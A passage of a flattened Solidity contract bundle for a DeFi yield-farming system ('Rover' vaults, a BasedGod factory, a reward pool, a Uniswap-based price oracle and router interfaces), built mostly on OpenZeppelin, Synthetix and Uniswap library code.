* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.6.0;
interface IPool {
function getReward() external;
function stake(uint256 amount) external;
function earned(address account) external view returns (uint256);
}
pragma solidity >=0.6.0;
contract FarmingRover is Rover, ERC20, ReentrancyGuard {
IPool public rewardPool;
/// @param _pair either "sUSD" or "WETH"
constructor (
address _rewardToken,
string memory _pair,
address _swapModule
)
public
Rover(_rewardToken, _pair, _swapModule)
ERC20(
string(abi.encodePacked("Rover ", ERC20(_rewardToken).name())),
string(abi.encodePacked("r", ERC20(_rewardToken).symbol()))
)
{
// Mint the single token
_mint(address(this), 1);
}
function earned() public view returns (uint256){
return rewardPool.earned(address(this));
}
function startRover(address _rewardPool)
public
onlyOwner
{
init();
this.approve(_rewardPool, 1);
rewardPool = IPool(_rewardPool);
rewardPool.stake(1);
}
function rugPull() public override nonReentrant {
claimReward();
// this couses reentracy
super.rugPull();
}
function claimReward() internal {
// ignore errors
(bool success,) = address(rewardPool).call(abi.encodeWithSignature("getReward()"));
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(balanceOf(address(this)) == 1, "NOT BASED: only one transfer allowed.");
require(recipient == address(rewardPool),
"NOT BASED: Recipient address must be equal to rewardPool address.");
super._transfer(sender, recipient, amount);
}
}
pragma solidity >=0.6.0;
contract BasedGod {
address[] public rovers;
// rewardToken => rover address array
mapping(address => address[]) public tokenRover;
address public immutable moonbase;
address public immutable based;
address public immutable susd;
address public immutable weth;
// mainnet 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address public immutable uniswapRouter;
address public immutable poolFactory;
address public immutable basedGodV1;
address public immutable deployer;
constructor (
address _based,
address _moonbase,
address _susd,
address _weth,
address _uniswapRouter,
address _poolFactory,
address _basedGodV1
) public {
susd = _susd;
based = _based;
moonbase = _moonbase;
weth = _weth;
uniswapRouter = _uniswapRouter;
poolFactory = _poolFactory;
basedGodV1 = _basedGodV1;
deployer = msg.sender;
}
function getRovers() public view returns (address[] memory) {
address[] memory legacyRovers = IBasedGod(basedGodV1).getRovers();
return legacyRovers.length == 0 ? rovers : concatArrays(legacyRovers, rovers);
}
function getTokenRovers(address token) public view returns (address[] memory) {
address[] memory legacyRovers = IBasedGod(basedGodV1).getTokenRovers(token);
return legacyRovers.length == 0 ? tokenRover[token] : concatArrays(legacyRovers, tokenRover[token]);
}
/// @dev Use this Rover if you want to depoit tokens directly to Rover contract and you don't need to farm
/// @param _rewardToken address of the reward token
/// @param _pair through which pair do you want to sell reward tokens, either "sUSD" or "WETH"
/// @param _swapModule contract address with swap implementation
function createNewRoverVault(address _rewardToken, string calldata _pair, address _swapModule) external returns (RoverVault rover) {
rover = new RoverVault(_rewardToken, _pair, _swapModule);
rover.transferOwnership(msg.sender);
_saveRover(_rewardToken, address(rover));
}
/// @dev Use this Rover if you have a reward pool and you want the Rover to farm it
/// @param _rewardToken address of the reward token
/// @param _pair either "sUSD" or "WETH"
/// @param _swapModule contract address with swap implementation
function createNewFarmingRover(address _rewardToken, string calldata _pair, address _swapModule) external returns (FarmingRover rover) {
rover = new FarmingRover(_rewardToken, _pair, _swapModule);
rover.transferOwnership(msg.sender);
_saveRover(_rewardToken, address(rover));
}
/// @dev Use this if you want to deploy Farming Rover and Pool at once
/// @param _distributor who can notify of rewards
/// @param _swapModule contract address with swap implementation
function createNewFarmingRoverAndPool(
address _rewardToken,
address _distributor,
string calldata _pair,
address _swapModule,
uint256 _duration
) external returns (FarmingRover rover, address rewardsPool) {
require(_distributor != address(0), "someone has to notify of rewards and it ain't us");
rover = new FarmingRover(_rewardToken, _pair, _swapModule);
_saveRover(_rewardToken, address(rover));
rewardsPool = IPoolFactory(poolFactory).createNewPool(
_rewardToken,
address(rover),
_duration,
_distributor
);
rover.startRover(rewardsPool);
}
function _saveRover(address _rewardToken, address _rover) internal {
rovers.push(address(_rover));
tokenRover[_rewardToken].push(address(_rover));
}
function concatArrays(address[] memory arr1, address[] memory arr2) internal pure returns (address[] memory) {
address[] memory resultArray = new address[](arr1.length + arr2.length);
uint i=0;
for (; i < arr1.length; i++) {
resultArray[i] = arr1[i];
}
uint j=0;
while (j < arr2.length) {
resultArray[i++] = arr2[j++];
}
return resultArray;
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity >=0.6.6;
contract ERC20Migrator {
using SafeMath for uint256;
IERC20 public legacyToken;
IERC20 public newToken;
uint256 public totalMigrated;
constructor (address _legacyToken, address _newToken) public {
require(_legacyToken != address(0), "legacyToken address is required");
require(_newToken != address(0), "_newToken address is required");
legacyToken = IERC20(_legacyToken);
newToken = IERC20(_newToken);
}
function migrate(address account, uint256 amount) internal {
legacyToken.transferFrom(account, address(this), amount);
newToken.transfer(account, amount);
totalMigrated = totalMigrated.add(amount);
}
function migrateAll() public {
address account = msg.sender;
uint256 balance = legacyToken.balanceOf(account);
uint256 allowance = legacyToken.allowance(account, address(this));
uint256 amount = Math.min(balance, allowance);
require(amount > 0, "ERC20Migrator::migrateAll: Approval and balance must be > 0");
migrate(account, amount);
}
}
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: CurveRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.6.0;
abstract contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
constructor(address _rewardDistribution) public {
rewardDistribution = _rewardDistribution;
}
function notifyRewardAmount(uint256 reward) virtual external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
/*
* Changes made to the SynthetixReward contract
*
* uni to lpToken, and make it as a parameter of the constructor instead of hardcoded.
*
*
*/
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable lpToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _lpToken) public {
lpToken = IERC20(_lpToken);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
lpToken.safeTransfer(msg.sender, amount);
}
}
/*
* [Hardwork]
* This pool doesn't mint.
* the rewards should be first transferred to this pool, then get "notified"
* by calling `notifyRewardAmount`
*/
contract NoMintRewardPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public immutable rewardToken;
uint256 public immutable duration; // making it not a constant is less gas efficient, but portable
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
// [Hardwork] setting the reward, lpToken, duration, and rewardDistribution for each pool
constructor(address _rewardToken,
address _lpToken,
uint256 _duration,
address _rewardDistribution) public
LPTokenWrapper(_lpToken)
IRewardDistributionRecipient(_rewardDistribution)
{
rewardToken = IERC20(_rewardToken);
duration = _duration;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) override {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) override {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
override
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(duration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(duration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(duration);
emit RewardAdded(reward);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.4.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
pragma solidity >=0.5.0;
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
pragma solidity >=0.5.0;
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
pragma solidity >=0.6.6;
// Some code reproduced from
// https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol
interface IOracle {
function getData() external returns (uint256, bool);
}
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract ExampleOracleSimple {
using FixedPoint for *;
uint public PERIOD = 24 hours;
IUniswapV2Pair immutable pair;
address public immutable token0;
address public immutable token1;
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(address factory, address tokenA, address tokenB) public {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB));
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
// ensure that there's liquidity in the pair
require(reserve0 != 0 && reserve1 != 0, 'ExampleOracleSimple: NO_RESERVES');
}
function update() internal {
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, 'ExampleOracleSimple: PERIOD_NOT_ELAPSED');
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint amountIn) internal view returns (uint amountOut) {
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, 'ExampleOracleSimple: INVALID_TOKEN');
amountOut = price1Average.mul(amountIn).decode144();
}
}
}
interface UFragmentsI {
function monetaryPolicy() external view returns (address);
}
contract BASEDOracle is Ownable, ExampleOracleSimple, IOracle {
uint256 constant SCALE = 10 ** 18;
address based;
address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
constructor(address based_, address susd_) public ExampleOracleSimple(uniFactory, based_, susd_) {
PERIOD = 23 hours; // ensure that rebase can always call update
based = based_;
}
// this must be called 24h before first rebase to get proper price
function updateBeforeRebase() public onlyOwner {
update();
}
function getData() override external returns (uint256, bool) {
require(msg.sender == UFragmentsI(based).monetaryPolicy());
update();
uint256 price = consult(based, SCALE); // will return 1 BASED in sUSD
if (price == 0) {
return (0, false);
}
return (price, true);
}
}
pragma solidity >=0.6.0;
contract PoolFactory {
function createNewPool(
address _rewardToken,
address _rover,
uint256 _duration,
address _distributor
) external returns (address) {
_distributor = (_distributor != address(0)) ? _distributor : msg.sender;
NoMintRewardPool rewardsPool = new NoMintRewardPool(
_rewardToken,
_rover,
_duration,
_distributor // who can notify of rewards
);
return address(rewardsPool);
}
}
pragma solidity >=0.6.2;
interface ISakeSwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB
);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountToken,
uint256 amountETH
);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
returns (
uint256 amountA,
uint256 amountB
);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
)
external
returns (
uint256 amountToken,
uint256 amountETH
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
bool ifmint
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
